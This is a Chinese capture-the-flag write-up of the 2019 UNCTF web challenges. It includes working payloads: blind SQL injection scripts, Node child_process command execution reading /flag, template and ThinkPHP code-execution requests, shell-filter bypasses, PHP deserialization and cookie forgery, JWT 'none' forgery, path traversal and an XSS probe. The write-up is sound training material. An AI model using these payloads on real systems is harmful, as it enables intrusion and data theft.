2019UNCTF WEB题解

Twice_Insert

利用update处存在盲注,修改密码后,注入布尔语句回显不一致

import requests
import string
import random



str1= string.printable
def regestr(username):
    urlregester = "http://101.71.29.5:10002/login_create.php"
    data1 = {
        'username':username,
        'password':'zxasqw159',
        're_password':'zxasqw159',
        'submit':'Register'
    }

    repregester = requests.post(urlregester,data=data1)

def Register(username):
    urlregester = "http://101.71.29.5:10002/login_create.php"
    data1 = {
        'username':username,
        'password':'zxasqw159',
        're_password':'zxasqw159',
        'submit':'Register'
    }

    repregester = rep.post(urlregester,data=data1)
    sess=repregester.headers['Set-Cookie'][10:36]
    return sess


# first to register  new username id
result=''
for j in range(1,80):
    for i in str1:
        rep=requests.session()
        a=random.randint(1,9999999)
        username2 = f'c888{str(a)}'
        #print(username2)
        regestr(username2)
        #username2 = f"oswor{str(a)}' && ascii(substr((select group_concat(`1`) from (select 1 union select * from fl4g)redforce),{j},1))={ord(i)}#"
        username2 = f"c888{str(a)}' && ascii(substr((select e.1 from (select * from (select 1)a union select * from fl4g)e limit 1 offset 1),{j},1))={ord(i)}#"
        cookies={
            'PHPSESSID':Register(username2),
            'Auth':'1'

        }
        urllogin="http://101.71.29.5:10002/login.php"
        data2 = {
            'login_user':username2,
            'login_password':'zxasqw159',
            'mysubmit':'Login'
        }

        urllogin = rep.post(url=urllogin,data=data2)
        replogin = urllogin.text
        print(username2)
        #print(cookies)
        urlchange = "http://101.71.29.5:10002/pass_change.php"
        data3= {
            "current_password":'zxasqw159',
            "password":'123456',
            "re_password":'123456',
            'submit':'Reset'
        }
        repchange= rep.post(urlchange,data=data3,cookies=cookies)
        if "successfully" in repchange.text:
            result+=i
            print(result)
            break

UNCTF{585ae8df50433972bb6ebd76e3ebd9f4}

1571658224467

简单的备忘录

原题

参考链接:

https://github.com/testerting/hacker101-ctf/tree/master/bugdb_v2/flag0

https://github.com/testerting/hacker101-ctf/tree/master/bugdb_v2/flag0

GophSql常用语句测试


{__schema{types{name,fields{name}}}}

mutation{updateMemoInfo(mid:1,title:"1' or sleep(3)#"){ok}}

原因为类控制不完全,导致可以读到隐藏数据

比赛链接:http://101.71.29.5:10012

query{
	allUsers{
    edges{
      node{
        id
        username
        memos{
          pageInfo{
            startCursor
            endCursor
          }
          edges{
            cursor
            node{
              id
              content
              title
              private
              userId
            }
          }
        }
      }
    }
  }
}

1571676027779

checkin

找到交互的点,只有calc

需要将空格替换掉,否则会爆undefined,使用了split分割e

/calc require('child_process').execSync('cat${IFS}/flag').toString("utf8").trim()

1571743400336

1571742560376

审计一下世界上最好的语言吧

匹配"/{if:(.*?)}(.*?){end if}/is"

1571821164683

截取字符进行替换拼接

1571821199927

在看模板,可以看到{haha:searchword}与{haha:searchnum}是紧挨的状态,可以利用此处进行正则匹配

1571821248927

payload

http://101.71.29.5:10003/?content=%3Csearch%3E{i{haha:type}%3C/search%3E&searchnum={end%20if}&type=f:phpinfo()}

1571820152303

http://101.71.29.5:10003/?content=<search>{i{haha:type}.php')}</search>&searchnum={end if}&type=f:readfile('flag

1571821143763

bypass

考点是利用正则匹配中 \\ 匹配不到\ ,这题刚放出来存在bug,由于\\ 存在原因直接将反引号释放出来。直接利用反引号和通配符执行命令

 <?php
    highlight_file(__FILE__);
    $a = $_GET['a'];
    $b = $_GET['b'];
 // try bypass it
    if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
        $a = "";
        $a ='"' . $a . '"';
    if (preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $b))
        $b = "";
        $b = '"' . $b . '"';
     $cmd = "file $a $b";
     var_dump($cmd);
      str_replace(" ","","$cmd"); 
     system($cmd);
?>

payload

a=`/bi?/gr?p+-R+ctf`

1571918707614

题目修改后

\ 转义双引号,%20#为命令终止符号逃逸最后一个双引号执行命令的限制。

1572001510478

easy_pentest

  1. 利用tp生成的日志,信息泄露

1572166521292

  1. 利用tp rce 读取waf.php
<?php 
/** 
 * 检测php标记和php函数 
 *   
 */ 



$into_safe = FALSE; 
$safe_key_name = "safe_key"; 
$safe_key = "easy_pentesnt_is_s0fun"; 


function check_attack_keyword($str){ 
    $parrten_str = "/[<?]\bphp\b|^<[?]=.*$|^<[?].*$|\bphpinfo\b|\bbase64_decode\b|\bfile_get_contents\b|\breadfile\b|\bfile\b|\bfopen\b|\bconvert_uuencode\b|^.*php:\/\/.*$/i";
    if (preg_match($parrten_str,$str)){ 
        die("this way is too easy!"); 
    } 

 } 


//check safekey  
function check_safe_key($str_k,$str_v){ 
    global $safe_key_name,$safe_key; 
    if ($str_k == $safe_key_name && $str_v == $safe_key){ 
        return TRUE; 
    } 
} 

//safe redirect 
function is_safe($safe_state){ 
    if($safe_state){ 
        echo "<script type='text/javascript'>"; 
        echo "window.location.href='/public/static/is_safe_page.html';"; 
        echo "</script>"; 

    }else{ 
        echo "<script type='text/javascript'>"; 
        echo "window.location.href='/public/static/not_safe.html';"; 
        echo "</script>"; 
        die(); 
    } 
} 




function main(){ 
    global $into_safe; 
    foreach($_GET as $key => $value){ 
         
        if(is_array($value)){ 
            foreach($value as $k => $v){ 
                if(check_safe_key($k,$v)){ 
                    $into_safe = TRUE; 
                } 
                check_attack_keyword($v); 
            } 
        } 
        else{ 
            if(check_safe_key($key,$value)){ 
                $into_safe = TRUE; 
            } 
            check_attack_keyword($value); 
        } 
    } 
     
    is_safe($into_safe); 
     
     
    foreach($_POST as $key => $value){ 
        if(is_array($value)){ 
            foreach($value as $k => $v){ 
                check_attack_keyword($v); 
            } 
        } 
        else{ 
            check_attack_keyword($value); 
        } 
    } 
     
} 


main(); 


?>

getshell思路

参考文章:https://xz.aliyun.com/t/6106

php7 无法执行assert

  1. 日志无法写入

  2. 禁用常见危险函数

  3. <?php <? file被过滤

  4. /[<?]\bphp\b|^<[?]=.*$|^<[?].*$|\bphpinfo\b|\bbase64_decode\b|\bfile_get_contents\b|\breadfile\b|\bfile\b|\bfopen\b|\bconvert_uuencode\b|^.*php:\/\/.*$/i
    
    
    5. 
    
    
    
    利用filter[] 多处理,这道题把`Session::set`给删了,写不了shell。但是依然生成PHPSESSID,在探测temp目录发现没有权限,其实就可以确定session文件写在这里面
    
    ![1572070684595](./1572070684595.png)
    
    
    
    找flag文件
    http://101.71.29.5:10021/public/index.php?safe_key=easy_pentesnt_is_s0fun&s=capcha

_method=__construct&method=get&filter[]=scandir&filter[]=var_dump&server[]=-1&get[]=/home/




![1572070928246](./1572070928246.png)

/home/flag_1sh3r3.txt




读取可以用`think\__include_file` 也可以`show_source`

```http
http://101.71.29.5:10021/public/index.php?safe_key=easy_pentesnt_is_s0fun&s=capcha

_method=__construct&method=get&filter[]=show_source&server[]=-1&get[]=/home/flag_1sh3r3.txt

# flag{9d35311fd3a12a9f81z6bfe4117e5540}

1572071033980

k&k

m参数消毒不完全,直接伪协议扒光所有代码。

1.存在备份文件access.php.bak

分析

exp

<?php
class debug{
    public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';
}
class session{
    public $username;
    public function __construct()
    {
        $this->username=(new debug());
    }
}



$a=new session();
echo serialize($a);
echo "\r\n";


function cookie_encode($str) {
	$key = base64_encode($str);
	$key = bin2hex($key);
	$arr = str_split($key, 2);
	$cipher = '';
	foreach($arr as $value) {
		$num = hexdec($value);
		$num = $num + 240;
		$cipher = $cipher.'&'.dechex($num);
	}
	return $cipher;
}

echo cookie_encode(serialize($a));
echo "\r\n";


function cookie_decode($str) {
	$data = urldecode($str);
	$data = substr($data, 1);
	$arr = explode('&', $data);
	$cipher = '';
	foreach($arr as $value) {
		$num = hexdec($value);
		$num = $num - 240;
		$cipher = $cipher.'%'.dechex($num);
	}
	$key = urldecode($cipher);
	$key = base64_decode($key);
	return $key;
}

$cookie = "%26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d";
echo cookie_decode($cookie);

1572152358591

easy_admin

  1. 重置密码处盲注: ‘ || ascii(substr(password),{i},1))={j}#,得到密码一半的flag,利用密码登录

    flag{never_too

    import requests
    import string
    
    url="http://101.71.29.5:10045/index.php?file=forget"
    str1 = string.printable
    result=''
    for i in range(1,15):
        for j in str1:
            data ={
                'username':f"' || ascii(substr(password,{i},1))={ord(j)}#"
            }
            rep = requests.post(url,data=data)
            print(data)
            if "ok" in rep.text:
                result+=j
                print(result)
                break
  1. 在修改referer头为127.0.0.1 得到另一半flag

flag: never_too_late_to_x

NSB Reset Password

  1. 先给osword发送重置密码邮件,
  2. 使用收到的验证码,进入到重置密码界面
  3. 再发送给admin重置密码,session更改username为admin
  4. 接着修改密码zxasqw159
  5. 登录admin zxasqw159即可得到flag

1572000991468

加密的备忘录

比简单备忘录多加了个unicode混淆

/graphql提供了graphql查询,查下结构,

{__schema{types{name,fields{name}}}}

Query类多出checkPass方法,查询Memo_接口password

\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231
要有了产于了主方以定人方于有成以他的爱爱

用checkPass,输入password:1 回显

"\u4e3a\u6211\u7231\u7231" not valid password
为我爱爱

思路:输入字符与原密文比较得到明文

  1. 爆破第一位,checkPass函数传入的参数password:[0-9a-zA-Z],观察结果中带有密文password的第一个unicode编码:\u8981,发现[H-K]都满足
  2. 第一位设置区间为[H-K],第二位设置区间[0-9a-zA-Z],只要得到unicode编码为:\u8981\u6709,即为对应的明文。发现当第一位为H,第二位为[a-o]时,都可以得到\u8981\u6709。确定第一位明文为H,接着在对第二位进行爆破
  3. 第二位设置区间[a-o],第三位设置区间[0-9a-zA-Z]

不会写脚本直接手lu,得到password:HappY4Gr4phQL

Arbi

登录注册界面

1573556772013

登录之后,服务端本地开启9000端口读取本地文件,路径依据注册的账号,可以便利目录读文件

1573556758357

Express框架,读取http://127.0.0.1:9000/upload/../package.json?.jpg

1573556592148

后端使用jwt构造身份验证

1573565534827

  1. 利用express当传入algorithm为none,会使用algorithm none解密
  2. var secret = global.secretlist[id]; 传入不存在的id,使得secret为undefined

1573565835641

在login界面增加伪造token,并登录,进入admin后台,session.name=’admin’,就能够访问admin23333_interface.js

1573566009065

1573565975973

admin23333_interface.js有个文件读取接口,参数可控

1573566045820

用到两个trick:

  1. 传入a[b]=1 会转为a={“b”:1}构造为对象,正则匹配无法识别对象,爆warnnig绕过第一个if
  2. length不仅可以取字符串长度还可以取数组长度,把filename设数组,再配合下面的循环 即可完美绕过过滤 而express 中当碰到两个同名变量时,会把这个变量设置为数组,例如a=123&a=456 解析后 a = [123,456],所以最终组合成

1573562632890

payload:<http://183.129.189.60:10047/admin23333_interface?name[filename]=../&name[filename]=f&name[filename]=l&name[filename]=a&name[filename]=g>

1573566304858

<img src='123' onerror='alert(1)' >

1573567727736


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!